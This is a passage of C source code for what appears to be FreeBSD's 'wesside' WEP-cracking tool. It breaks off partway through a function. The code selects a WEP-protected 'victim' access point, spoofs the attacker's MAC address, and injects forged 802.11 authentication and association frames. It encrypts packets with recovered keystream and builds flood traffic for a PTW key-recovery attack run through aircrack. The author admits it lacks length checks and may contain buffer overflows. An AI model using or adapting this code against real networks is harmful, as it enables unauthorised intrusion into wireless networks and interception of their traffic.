1161030Ssam/*
2161030Ssam * wep owner by sorbo <sorbox@yahoo.com>
3161030Ssam * Aug 2005
4161030Ssam *
5161030Ssam * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6161030Ssam * overflows.  this whole thing is experimental n e way.
7161030Ssam *
8161030Ssam * $FreeBSD$
9161030Ssam */
10161030Ssam
11161030Ssam#include <sys/types.h>
12161030Ssam#include <sys/socket.h>
13161030Ssam#include <sys/ioctl.h>
14161030Ssam#include <sys/endian.h>
15161030Ssam#include <sys/stat.h>
16161030Ssam#include <sys/wait.h>
17161030Ssam#include <sys/uio.h>
18161030Ssam#include <net/if.h>
19161030Ssam#include <net/if_media.h>
20161030Ssam#include <net/if_llc.h>
21161030Ssam#include <net/if_arp.h>
22161030Ssam#include <net/if_types.h>
23161030Ssam#include <net/if_dl.h>
24161030Ssam#include <net/bpf.h>
25161030Ssam#include <net/ethernet.h>
26161030Ssam#include <net80211/ieee80211.h>
27161030Ssam#include <net80211/ieee80211_ioctl.h>
28161030Ssam#include <net80211/ieee80211_radiotap.h>
29161030Ssam#include <net80211/ieee80211_freebsd.h>
30161030Ssam#include <netinet/in.h>
31161030Ssam#include <netinet/in_systm.h>
32161030Ssam#include <netinet/ip.h>
33161030Ssam#include <netinet/udp.h>
34161030Ssam#include <arpa/inet.h>
35161030Ssam#include <stdlib.h>
36161030Ssam#include <stdio.h>
37161030Ssam#include <unistd.h>
38161030Ssam#include <string.h>
39161030Ssam#include <fcntl.h>
40161030Ssam#include <errno.h>
41161030Ssam#include <assert.h>
42161030Ssam#include <zlib.h>
43161030Ssam#include <signal.h>
44161030Ssam#include <stdarg.h>
45161030Ssam#include <err.h>
46168502Ssam#include <pcap.h>
47161030Ssam
48168502Ssam#include "aircrack-ptw-lib.h"
49168502Ssam
50161030Ssam#define FIND_VICTIM		0
51161030Ssam#define FOUND_VICTIM		1
52161030Ssam#define SENDING_AUTH		2
53161030Ssam#define GOT_AUTH		3
54161030Ssam#define SPOOF_MAC		4
55161030Ssam#define SENDING_ASSOC		5
56161030Ssam#define GOT_ASSOC		6
57161030Ssam
58161030Ssamint state = 0;
59161030Ssam
60161030Ssamstruct timeval arpsend;
61161030Ssam
62161030Ssamstruct tx_state {
63161030Ssam	int waiting_ack;
64161030Ssam	struct timeval tsent;
65161030Ssam	int retries;
66161030Ssam	unsigned int psent;
67161030Ssam} txstate;
68161030Ssam
69161030Ssamstruct chan_info {
70161030Ssam	int s;
71161030Ssam	struct ieee80211req ireq;
72161030Ssam	int chan;
73161030Ssam} chaninfo;
74161030Ssam
75161030Ssamstruct victim_info {
76161030Ssam	char* ssid;
77161030Ssam	int chan;
78161030Ssam	char bss[6];
79161030Ssam} victim;
80161030Ssam
81161030Ssamstruct frag_state {
82161030Ssam	struct ieee80211_frame wh;
83161030Ssam	unsigned char* data;
84161030Ssam	int len;
85161030Ssam	unsigned char* ptr;
86161030Ssam	int waiting_relay;
87161030Ssam	struct timeval last;
88161030Ssam} fragstate;
89161030Ssam
90161030Ssamstruct prga_info {
91161030Ssam	unsigned char* prga;
92161030Ssam	unsigned int len;
93161030Ssam	unsigned char iv[3];
94161030Ssam} prgainfo;
95161030Ssam
96161030Ssamstruct decrypt_state {
97161030Ssam	unsigned char* cipher;
98161030Ssam	int clen;
99161030Ssam	struct prga_info prgainfo;
100161030Ssam	struct frag_state fragstate;
101161030Ssam} decryptstate;
102161030Ssam
103161030Ssamstruct wep_log {
104161030Ssam	unsigned int packets;
105161030Ssam	unsigned int rate;
106161030Ssam	int fd;
107161030Ssam	unsigned char iv[3];
108161030Ssam} weplog;
109161030Ssam
110168502Ssam#define LINKTYPE_IEEE802_11     105
111168502Ssam#define TCPDUMP_MAGIC           0xA1B2C3D4
112168502Ssam
113161030Ssamunsigned char* floodip = 0;
114161030Ssamunsigned short floodport = 6969;
115161030Ssamunsigned short floodsport = 53;
116161030Ssam
117161030Ssamunsigned char* netip = 0;
118168502Ssamint netip_arg = 0;
119168966Ssamint max_chan = 11;
120161030Ssam
121161030Ssamunsigned char* rtrmac = 0;
122161030Ssam
123161030Ssamunsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124161030Ssamunsigned char myip[16] = "192.168.0.123";
125161030Ssam
126161030Ssamint bits = 0;
127161030Ssamint ttl_val = 0;
128161030Ssam
129168502SsamPTW_attackstate *ptw;
130168502Ssam
131161030Ssamunsigned char *victim_mac = 0;
132161030Ssam
133161030Ssamint ack_timeout = 100*1000;
134161030Ssam
135161030Ssam#define ARPLEN (8+ 8 + 20)
136161030Ssamunsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137161030Ssamunsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138168502Ssam#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
139168502Ssam#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
140168502Ssam#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
141161030Ssam
142161030Ssam#define MCAST_PREF "\x01\x00\x5e\x00\x00"
143161030Ssam
144168502Ssam#define WEP_FILE "wep.cap"
145168502Ssam#define KEY_FILE "key.log"
146161030Ssam#define PRGA_FILE "prga.log"
147161030Ssam
148161030Ssamunsigned int min_prga =  128;
149161030Ssam
150161030Ssam/*
151161030Ssam * When starting aircrack we try first to use a
152161030Ssam * local copy, falling back to where the installed
153161030Ssam * version is expected.
154161030Ssam * XXX builtin pathnames
155161030Ssam */
156161030Ssam#define CRACK_LOCAL_CMD "../aircrack/aircrack"
157161030Ssam#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
158161030Ssam
159168966Ssam#define INCR 10000
160168502Ssamint thresh_incr = INCR;
161168502Ssam
162161030Ssam#define MAGIC_TTL_PAD 69
163161030Ssam
164161030Ssamint crack_dur = 60;
165168502Ssamint wep_thresh = INCR;
166161030Ssamint crack_pid = 0;
167161030Ssamstruct timeval crack_start;
168161030Ssamstruct timeval real_start;
169161030Ssam
170161030Ssam/* linksys does this.  The hardware pads small packets. */
171161030Ssam#define PADDED_ARPLEN 54
172161030Ssam
173161030Ssam#define PRGA_LEN (1500-14-20-8)
174161030Ssamunsigned char inet_clear[8+20+8+PRGA_LEN+4];
175161030Ssam
176161030Ssam#define DICT_PATH "dict"
177161030Ssam#define TAP_DEV "/dev/tap3"
178161030Ssamunsigned char tapdev[16];
179161030Ssamunsigned char taptx[4096];
180161030Ssamunsigned int taptx_len = 0;
181161030Ssamint tapfd = -1;
182161030Ssam
183161030Ssam/********** RIPPED
184161030Ssam************/
185161030Ssamunsigned short in_cksum (unsigned short *ptr, int nbytes) {
186161030Ssam  register long sum;
187161030Ssam  u_short oddbyte;
188161030Ssam  register u_short answer;
189161030Ssam
190161030Ssam  sum = 0;
191161030Ssam  while (nbytes > 1)
192161030Ssam    {
193161030Ssam      sum += *ptr++;
194161030Ssam      nbytes -= 2;
195161030Ssam    }
196161030Ssam
197161030Ssam  if (nbytes == 1)
198161030Ssam    {
199161030Ssam      oddbyte = 0;
200161030Ssam      *((u_char *) & oddbyte) = *(u_char *) ptr;
201161030Ssam      sum += oddbyte;
202161030Ssam    }
203161030Ssam
204161030Ssam  sum = (sum >> 16) + (sum & 0xffff);
205161030Ssam  sum += (sum >> 16);
206161030Ssam  answer = ~sum;
207161030Ssam  return (answer);
208161030Ssam}
209161030Ssam/**************
210161030Ssam************/
211161030Ssam
212161030Ssamunsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213161030Ssam                          struct in_addr *dip) {
214161030Ssam        unsigned char *tmp;
215161030Ssam        struct ippseudo *ph;
216161030Ssam
217161030Ssam        tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
218161030Ssam        if(!tmp)
219161030Ssam		err(1, "malloc()");
220161030Ssam
221161030Ssam        ph = (struct ippseudo*) tmp;
222161030Ssam
223161030Ssam        memcpy(&ph->ippseudo_src, sip, 4);
224161030Ssam        memcpy(&ph->ippseudo_dst, dip, 4);
225161030Ssam        ph->ippseudo_pad =  0;
226161030Ssam        ph->ippseudo_p = IPPROTO_UDP;
227161030Ssam        ph->ippseudo_len = htons(len);
228161030Ssam
229161030Ssam        memcpy(tmp + sizeof(struct ippseudo), stuff, len);
230161030Ssam
231161030Ssam        return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
232161030Ssam}
233161030Ssam
234161030Ssamvoid time_print(char* fmt, ...) {
235161030Ssam        va_list ap;
236161030Ssam        char lame[1024];
237161030Ssam	time_t tt;
238161030Ssam	struct tm *t;
239161030Ssam
240161030Ssam        va_start(ap, fmt);
241161030Ssam        vsnprintf(lame, sizeof(lame), fmt, ap);
242161030Ssam        va_end(ap);
243161030Ssam
244161030Ssam	tt = time(NULL);
245161030Ssam
246161030Ssam	if (tt == (time_t)-1) {
247161030Ssam		perror("time()");
248161030Ssam		exit(1);
249161030Ssam	}
250161030Ssam
251161030Ssam	t = localtime(&tt);
252161030Ssam	if (!t) {
253161030Ssam		perror("localtime()");
254161030Ssam		exit(1);
255161030Ssam	}
256161030Ssam
257161030Ssam	printf("[%.2d:%.2d:%.2d] %s",
258161030Ssam	       t->tm_hour, t->tm_min, t->tm_sec, lame);
259161030Ssam}
260161030Ssam
261161030Ssamvoid check_key() {
262161030Ssam	char buf[1024];
263161030Ssam	int fd;
264161030Ssam	int rd;
265161030Ssam	struct timeval now;
266161030Ssam
267168502Ssam	fd = open(KEY_FILE, O_RDONLY);
268161030Ssam
269161030Ssam	if (fd == -1) {
270161030Ssam		return;
271161030Ssam	}
272161030Ssam
273161030Ssam	rd = read(fd, buf, sizeof(buf) -1);
274161030Ssam	if (rd == -1) {
275161030Ssam		perror("read()");
276161030Ssam		exit(1);
277161030Ssam	}
278161030Ssam
279161030Ssam	buf[rd] = 0;
280161030Ssam
281161030Ssam	close(fd);
282161030Ssam
283161030Ssam	printf ("\n\n");
284161030Ssam	time_print("KEY=(%s)\n", buf);
285161030Ssam
286161030Ssam	if (gettimeofday(&now, NULL) == -1) {
287161030Ssam		perror("gettimeofday()");
288161030Ssam		exit(1);
289161030Ssam	}
290161030Ssam
291161030Ssam	printf ("Owned in %.02f minutes\n",
292161030Ssam		((double) now.tv_sec - real_start.tv_sec)/60.0);
293161030Ssam	exit(0);
294161030Ssam}
295161030Ssam
296161030Ssamvoid kill_crack() {
297161030Ssam	if (crack_pid == 0)
298161030Ssam		return;
299161030Ssam
300161030Ssam	printf("\n");
301161030Ssam	time_print("Stopping crack PID=%d\n", crack_pid);
302161030Ssam
303161030Ssam	// XXX doesn't return -1 for some reason! [maybe on my box... so it
304161030Ssam	// might be buggy on other boxes...]
305161030Ssam	if (kill(crack_pid, SIGINT) == -1) {
306161030Ssam		perror("kill()");
307161030Ssam		exit(1);
308161030Ssam	}
309161030Ssam
310161030Ssam	crack_pid = 0;
311161030Ssam
312161030Ssam	check_key();
313161030Ssam}
314161030Ssam
315161030Ssamvoid cleanup(int x) {
316161030Ssam	time_print("\nDying...\n");
317161030Ssam
318161030Ssam	if (weplog.fd)
319161030Ssam		close(weplog.fd);
320161030Ssam
321161030Ssam	kill_crack();
322161030Ssam
323161030Ssam	exit(0);
324161030Ssam}
325161030Ssam
326161030Ssamvoid set_chan(int c) {
327161030Ssam	if (c == chaninfo.chan)
328161030Ssam		return;
329161030Ssam
330161030Ssam	chaninfo.ireq.i_val = c;
331161030Ssam
332161030Ssam	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333161030Ssam		perror("ioctl(SIOCS80211) [chan]");
334161030Ssam		exit(1);
335161030Ssam	}
336161030Ssam	chaninfo.chan = c;
337161030Ssam}
338161030Ssam
339168502Ssamvoid set_if_mac(unsigned char* mac, unsigned char *name) {
340168502Ssam	int s;
341168502Ssam	struct ifreq ifr;
342168502Ssam
343168502Ssam	s = socket(PF_INET, SOCK_DGRAM, 0);
344168502Ssam	if (s == -1) {
345168502Ssam		perror("socket()");
346168502Ssam		exit(1);
347168502Ssam	}
348168502Ssam
349168502Ssam	memset(&ifr, 0, sizeof(ifr));
350168502Ssam	strcpy(ifr.ifr_name, name);
351168502Ssam
352168502Ssam	ifr.ifr_addr.sa_family = AF_LINK;
353168502Ssam	ifr.ifr_addr.sa_len = 6;
354168502Ssam	memcpy(ifr.ifr_addr.sa_data, mac, 6);
355168502Ssam
356168502Ssam	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357168502Ssam		perror("ioctl(SIOCSIFLLADDR)");
358168502Ssam		exit(1);
359168502Ssam	}
360168502Ssam
361168502Ssam	close(s);
362168502Ssam}
363168502Ssam
364161030Ssamvoid setup_if(char *dev) {
365161030Ssam	int s;
366161030Ssam	struct ifreq ifr;
367161030Ssam	unsigned int flags;
368161030Ssam	struct ifmediareq ifmr;
369161030Ssam	int *mwords;
370161030Ssam
371161030Ssam	if(strlen(dev) >= IFNAMSIZ) {
372161030Ssam		time_print("Interface name too long...\n");
373161030Ssam		exit(1);
374161030Ssam	}
375161030Ssam
376161030Ssam	time_print("Setting up %s... ", dev);
377161030Ssam	fflush(stdout);
378168502Ssam
379168502Ssam	set_if_mac(mymac, dev);
380161030Ssam
381161030Ssam	s = socket(PF_INET, SOCK_DGRAM, 0);
382161030Ssam	if (s == -1) {
383161030Ssam		perror("socket()");
384161030Ssam		exit(1);
385161030Ssam	}
386161030Ssam
387195848Ssam	// set chan
388195848Ssam	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
389195848Ssam	strcpy(chaninfo.ireq.i_name, dev);
390195848Ssam	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
391195848Ssam
392195848Ssam	chaninfo.chan = 0;
393195848Ssam	chaninfo.s = s;
394195848Ssam	set_chan(1);
395195848Ssam
396161030Ssam	// set iface up and promisc
397161030Ssam	memset(&ifr, 0, sizeof(ifr));
398161030Ssam	strcpy(ifr.ifr_name, dev);
399161030Ssam	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
400161030Ssam		perror("ioctl(SIOCGIFFLAGS)");
401161030Ssam		exit(1);
402161030Ssam	}
403161030Ssam
404161030Ssam	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
405161030Ssam	flags |= IFF_UP | IFF_PPROMISC;
406161030Ssam
407161030Ssam	memset(&ifr, 0, sizeof(ifr));
408161030Ssam	strcpy(ifr.ifr_name, dev);
409161030Ssam	ifr.ifr_flags = flags & 0xffff;
410161030Ssam	ifr.ifr_flagshigh = flags >> 16;
411161030Ssam	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
412161030Ssam		perror("ioctl(SIOCSIFFLAGS)");
413161030Ssam		exit(1);
414161030Ssam	}
415161030Ssam
416161030Ssam	printf("done\n");
417161030Ssam}
418161030Ssam
419161030Ssamint open_bpf(char *dev, int dlt) {
420161030Ssam        int i;
421161030Ssam        char buf[64];
422161030Ssam        int fd = -1;
423161030Ssam        struct ifreq ifr;
424161030Ssam
425161030Ssam        for(i = 0;i < 16; i++) {
426161030Ssam                sprintf(buf, "/dev/bpf%d", i);
427161030Ssam
428161030Ssam                fd = open(buf, O_RDWR);
429161030Ssam                if(fd < 0) {
430161030Ssam                        if(errno != EBUSY) {
431161030Ssam                                perror("can't open /dev/bpf");
432161030Ssam                                exit(1);
433161030Ssam                        }
434161030Ssam                        continue;
435161030Ssam                }
436161030Ssam                else
437161030Ssam                        break;
438161030Ssam        }
439161030Ssam
440161030Ssam        if(fd < 0) {
441161030Ssam                perror("can't open /dev/bpf");
442161030Ssam                exit(1);
443161030Ssam        }
444161030Ssam
445161030Ssam        strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
446161030Ssam        ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
447161030Ssam
448161030Ssam        if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
449161030Ssam                perror("ioctl(BIOCSETIF)");
450161030Ssam                exit(1);
451161030Ssam        }
452161030Ssam
453161030Ssam        if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
454161030Ssam                perror("ioctl(BIOCSDLT)");
455161030Ssam                exit(1);
456161030Ssam        }
457161030Ssam
458161030Ssam        i = 1;
459161030Ssam        if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
460161030Ssam                perror("ioctl(BIOCIMMEDIATE)");
461161030Ssam                exit(1);
462161030Ssam        }
463161030Ssam
464161030Ssam        return fd;
465161030Ssam}
466161030Ssam
467161030Ssamvoid hexdump(unsigned char *ptr, int len) {
468161030Ssam        while(len > 0) {
469161030Ssam                printf("%.2X ", *ptr);
470161030Ssam                ptr++; len--;
471161030Ssam        }
472161030Ssam        printf("\n");
473161030Ssam}
474161030Ssam
475161030Ssamchar* mac2str(unsigned char* mac) {
476161030Ssam	static char ret[6*3];
477161030Ssam
478161030Ssam	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
479161030Ssam		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
480161030Ssam
481161030Ssam	return ret;
482161030Ssam}
483161030Ssam
484161030Ssamvoid inject(int fd, void *buf, int len)
485161030Ssam{
486161030Ssam	static struct ieee80211_bpf_params params = {
487161030Ssam		.ibp_vers = IEEE80211_BPF_VERSION,
488161030Ssam		/* NB: no need to pass series 2-4 rate+try */
489161030Ssam		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
490161030Ssam		.ibp_rate0 = 2,		/* 1 MB/s XXX */
491161030Ssam		.ibp_try0 = 1,		/* no retransmits */
492161030Ssam		.ibp_flags = IEEE80211_BPF_NOACK,
493161030Ssam		.ibp_power = 100,	/* nominal max */
494161030Ssam		.ibp_pri = WME_AC_VO,	/* high priority */
495161030Ssam	};
496161030Ssam	struct iovec iov[2];
497161030Ssam	int rc;
498161030Ssam
499161030Ssam	iov[0].iov_base = &params;
500161030Ssam	iov[0].iov_len = params.ibp_len;
501161030Ssam	iov[1].iov_base = buf;
502161030Ssam	iov[1].iov_len = len;
503161030Ssam	rc = writev(fd, iov, 2);
504161030Ssam	if(rc == -1) {
505161030Ssam		perror("writev()");
506161030Ssam		exit(1);
507161030Ssam	}
508161030Ssam	if (rc != (len + iov[0].iov_len)) {
509161030Ssam		time_print("Error Wrote %d out of %d\n", rc,
510161030Ssam			   len+iov[0].iov_len);
511161030Ssam		exit(1);
512161030Ssam	}
513161030Ssam}
514161030Ssam
515161030Ssamvoid send_frame(int tx, unsigned char* buf, int len) {
516161030Ssam	static unsigned char* lame = 0;
517161030Ssam	static int lamelen = 0;
518161030Ssam	static int lastlen = 0;
519161030Ssam
520161030Ssam	// retransmit!
521161030Ssam	if (len == -1) {
522161030Ssam		txstate.retries++;
523161030Ssam
524161030Ssam		if (txstate.retries > 10) {
525161030Ssam			time_print("ERROR Max retransmists for (%d bytes):\n",
526161030Ssam			       lastlen);
527161030Ssam			hexdump(&lame[0], lastlen);
528168502Ssam//			exit(1);
529161030Ssam		}
530161030Ssam		len = lastlen;
531161030Ssam//		printf("Warning doing a retransmit...\n");
532161030Ssam	}
533161030Ssam	// normal tx
534161030Ssam	else {
535161030Ssam		assert(!txstate.waiting_ack);
536161030Ssam
537161030Ssam		if (len > lamelen) {
538161030Ssam			if (lame)
539161030Ssam				free(lame);
540161030Ssam
541161030Ssam			lame = (unsigned char*) malloc(len);
542161030Ssam			if(!lame) {
543161030Ssam				perror("malloc()");
544161030Ssam				exit(1);
545161030Ssam			}
546161030Ssam
547161030Ssam			lamelen = len;
548161030Ssam		}
549161030Ssam
550161030Ssam		memcpy(lame, buf, len);
551161030Ssam		txstate.retries = 0;
552161030Ssam		lastlen = len;
553161030Ssam	}
554161030Ssam
555161030Ssam	inject(tx, lame, len);
556161030Ssam
557161030Ssam	txstate.waiting_ack = 1;
558161030Ssam	txstate.psent++;
559161030Ssam	if (gettimeofday(&txstate.tsent, NULL) == -1) {
560161030Ssam		perror("gettimeofday()");
561161030Ssam		exit(1);
562161030Ssam	}
563161030Ssam
564161030Ssam#if 0
565161030Ssam	printf("Wrote frame at %lu.%lu\n",
566161030Ssam	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
567161030Ssam#endif
568161030Ssam}
569161030Ssam
570161030Ssamunsigned short fnseq(unsigned short fn, unsigned short seq) {
571161030Ssam        unsigned short r = 0;
572161030Ssam
573161030Ssam        if(fn > 15) {
574161030Ssam                time_print("too many fragments (%d)\n", fn);
575161030Ssam                exit(1);
576161030Ssam        }
577161030Ssam
578161030Ssam        r = fn;
579161030Ssam
580161030Ssam        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
581161030Ssam
582161030Ssam        return r;
583161030Ssam}
584161030Ssam
585161030Ssamvoid fill_basic(struct ieee80211_frame* wh) {
586161030Ssam	unsigned short* sp;
587161030Ssam
588161030Ssam	memcpy(wh->i_addr1, victim.bss, 6);
589161030Ssam	memcpy(wh->i_addr2, mymac, 6);
590161030Ssam	memcpy(wh->i_addr3, victim.bss, 6);
591161030Ssam
592161030Ssam
593161030Ssam
594161030Ssam	sp = (unsigned short*) wh->i_seq;
595161030Ssam	*sp = fnseq(0, txstate.psent);
596161030Ssam
597161030Ssam	sp = (unsigned short*) wh->i_dur;
598161030Ssam	*sp = htole16(32767);
599161030Ssam}
600161030Ssam
601161030Ssamvoid send_assoc(int tx) {
602161030Ssam	unsigned char buf[128];
603161030Ssam	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
604161030Ssam	unsigned char* body;
605161030Ssam	int ssidlen;
606161030Ssam
607161030Ssam	memset(buf, 0, sizeof(buf));
608161030Ssam	fill_basic(wh);
609161030Ssam	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
610161030Ssam
611161030Ssam	body = (unsigned char*) wh + sizeof(*wh);
612161030Ssam	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
613161030Ssam	// cap + interval
614161030Ssam	body += 2 + 2;
615161030Ssam
616161030Ssam	// ssid
617161030Ssam	*body++ = 0;
618161030Ssam	ssidlen = strlen(victim.ssid);
619161030Ssam	*body++ = ssidlen;
620161030Ssam	memcpy(body, victim.ssid, ssidlen);
621161030Ssam	body += ssidlen;
622161030Ssam
623161030Ssam	// rates
624161030Ssam	*body++ = 1;
625161030Ssam	*body++ = 4;
626161030Ssam	*body++ = 2;
627161030Ssam	*body++ = 4;
628161030Ssam	*body++ = 11;
629161030Ssam	*body++ = 22;
630161030Ssam
631161030Ssam	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
632161030Ssam			    strlen(victim.ssid) + 2 + 4);
633161030Ssam}
634161030Ssam
635161030Ssamvoid wepify(unsigned char* body, int dlen) {
636161030Ssam	uLong crc;
637161030Ssam	unsigned long *pcrc;
638161030Ssam	int i;
639161030Ssam
640161030Ssam	assert(dlen + 4 <= prgainfo.len);
641161030Ssam
642161030Ssam	// iv
643161030Ssam	memcpy(body, prgainfo.iv, 3);
644161030Ssam	body +=3;
645161030Ssam	*body++ = 0;
646161030Ssam
647161030Ssam	// crc
648161030Ssam	crc = crc32(0L, Z_NULL, 0);
649161030Ssam	crc = crc32(crc, body, dlen);
650161030Ssam	pcrc = (unsigned long*) (body+dlen);
651161030Ssam	*pcrc = crc;
652161030Ssam
653161030Ssam	for (i = 0; i < dlen +4; i++)
654161030Ssam		*body++ ^= prgainfo.prga[i];
655161030Ssam}
656161030Ssam
657161030Ssamvoid send_auth(int tx) {
658161030Ssam	unsigned char buf[128];
659161030Ssam	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
660161030Ssam	unsigned short* n;
661161030Ssam
662161030Ssam	memset(buf, 0, sizeof(buf));
663161030Ssam	fill_basic(wh);
664161030Ssam	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
665161030Ssam
666161030Ssam	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
667161030Ssam	n++;
668161030Ssam	*n = 1;
669161030Ssam
670161030Ssam	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
671161030Ssam}
672161030Ssam
673161030Ssamint get_victim_ssid(struct ieee80211_frame* wh, int len) {
674161030Ssam	unsigned char* ptr;
675161030Ssam	int x;
676161030Ssam	int gots = 0, gotc = 0;
677161030Ssam
678161030Ssam	if (len <= sizeof(*wh)) {
679161030Ssam		time_print("Warning: short packet in get_victim_ssid()\n");
680161030Ssam		return 0;
681161030Ssam	}
682161030Ssam
683161030Ssam	ptr = (unsigned char*)wh + sizeof(*wh);
684161030Ssam	len -= sizeof(*wh);
685161030Ssam
686161030Ssam	// only wep baby
687161030Ssam	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
688161030Ssam		return 0;
689161030Ssam	}
690161030Ssam
691161030Ssam	// we want a specific victim
692161030Ssam	if (victim_mac) {
693161030Ssam		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
694161030Ssam			return 0;
695161030Ssam	}
696161030Ssam
697161030Ssam	// beacon header
698161030Ssam	x = 8 + 2 + 2;
699161030Ssam	if (len <= x) {
700161030Ssam		time_print("Warning short.asdfasdf\n");
701161030Ssam		return 0;
702161030Ssam	}
703161030Ssam
704161030Ssam	ptr += x;
705161030Ssam	len -= x;
706161030Ssam
707161030Ssam	// SSID
708161030Ssam	while(len > 2) {
709161030Ssam		int eid, elen;
710161030Ssam
711161030Ssam		eid = *ptr;
712161030Ssam		ptr++;
713161030Ssam		elen = *ptr;
714161030Ssam		ptr++;
715161030Ssam		len -= 2;
716161030Ssam
717161030Ssam		if (len < elen) {
718161030Ssam			time_print("Warning short....\n");
719161030Ssam			return 0;
720161030Ssam		}
721161030Ssam
722161030Ssam		// ssid
723161030Ssam		if (eid == 0) {
724161030Ssam			if (victim.ssid)
725161030Ssam				free(victim.ssid);
726161030Ssam
727161030Ssam			victim.ssid = (char*) malloc(elen + 1);
728161030Ssam			if (!victim.ssid) {
729161030Ssam				perror("malloc()");
730161030Ssam				exit(1);
731161030Ssam			}
732161030Ssam
733161030Ssam			memcpy(victim.ssid, ptr, elen);
734161030Ssam			victim.ssid[elen] = 0;
735161030Ssam			gots = 1;
736161030Ssam
737161030Ssam		}
738161030Ssam		// chan
739161030Ssam		else if(eid == 3) {
740161030Ssam			if( elen != 1) {
741161030Ssam				time_print("Warning len of chan not 1\n");
742161030Ssam				return 0;
743161030Ssam			}
744161030Ssam
745161030Ssam			victim.chan = *ptr;
746161030Ssam			gotc = 1;
747161030Ssam		}
748161030Ssam
749161030Ssam		ptr += elen;
750161030Ssam		len -= elen;
751161030Ssam	}
752161030Ssam
753161030Ssam	if (gots && gotc) {
754161030Ssam		memcpy(victim.bss, wh->i_addr3, 6);
755161030Ssam		set_chan(victim.chan);
756161030Ssam		state = FOUND_VICTIM;
757161030Ssam		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
758161030Ssam		       victim.ssid, mac2str(victim.bss), victim.chan);
759161030Ssam		return 1;
760161030Ssam	}
761161030Ssam	return 0;
762161030Ssam}
763161030Ssam
764161030Ssamvoid send_ack(int tx) {
765168502Ssam	/* firmware acks */
766161030Ssam}
767161030Ssam
768161030Ssamvoid do_llc(unsigned char* buf, unsigned short type) {
769161030Ssam	struct llc* h = (struct llc*) buf;
770161030Ssam
771161030Ssam	memset(h, 0, sizeof(*h));
772161030Ssam	h->llc_dsap = LLC_SNAP_LSAP;
773161030Ssam	h->llc_ssap = LLC_SNAP_LSAP;
774161030Ssam	h->llc_un.type_snap.control = 3;
775161030Ssam	h->llc_un.type_snap.ether_type = htons(type);
776161030Ssam}
777161030Ssam
778161030Ssamvoid calculate_inet_clear() {
779161030Ssam	struct ip* ih;
780161030Ssam	struct udphdr* uh;
781161030Ssam	uLong crc;
782161030Ssam	unsigned long *pcrc;
783161030Ssam	int dlen;
784161030Ssam
785161030Ssam	memset(inet_clear, 0, sizeof(inet_clear));
786161030Ssam
787161030Ssam	do_llc(inet_clear, ETHERTYPE_IP);
788161030Ssam
789161030Ssam	ih = (struct ip*) &inet_clear[8];
790161030Ssam	ih->ip_hl = 5;
791161030Ssam	ih->ip_v = 4;
792161030Ssam	ih->ip_tos = 0;
793161030Ssam	ih->ip_len = htons(20+8+PRGA_LEN);
794161030Ssam	ih->ip_id = htons(666);
795161030Ssam	ih->ip_off = 0;
796161030Ssam	ih->ip_ttl = ttl_val;
797161030Ssam	ih->ip_p = IPPROTO_UDP;
798161030Ssam	ih->ip_sum = 0;
799161030Ssam	inet_aton(floodip, &ih->ip_src);
800161030Ssam	inet_aton(myip, &ih->ip_dst);
801161030Ssam	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
802161030Ssam
803161030Ssam	uh = (struct udphdr*) ((char*)ih + 20);
804161030Ssam	uh->uh_sport = htons(floodport);
805161030Ssam	uh->uh_dport = htons(floodsport);
806161030Ssam	uh->uh_ulen = htons(8+PRGA_LEN);
807161030Ssam	uh->uh_sum = 0;
808161030Ssam        uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
809161030Ssam                                  &ih->ip_src, &ih->ip_dst);
810161030Ssam
811161030Ssam	// crc
812161030Ssam	dlen = 8 + 20 + 8 + PRGA_LEN;
813161030Ssam	assert (dlen + 4 <= sizeof(inet_clear));
814161030Ssam
815161030Ssam	crc = crc32(0L, Z_NULL, 0);
816161030Ssam	crc = crc32(crc, inet_clear, dlen);
817161030Ssam	pcrc = (unsigned long*) (inet_clear+dlen);
818161030Ssam	*pcrc = crc;
819161030Ssam
820161030Ssam#if 0
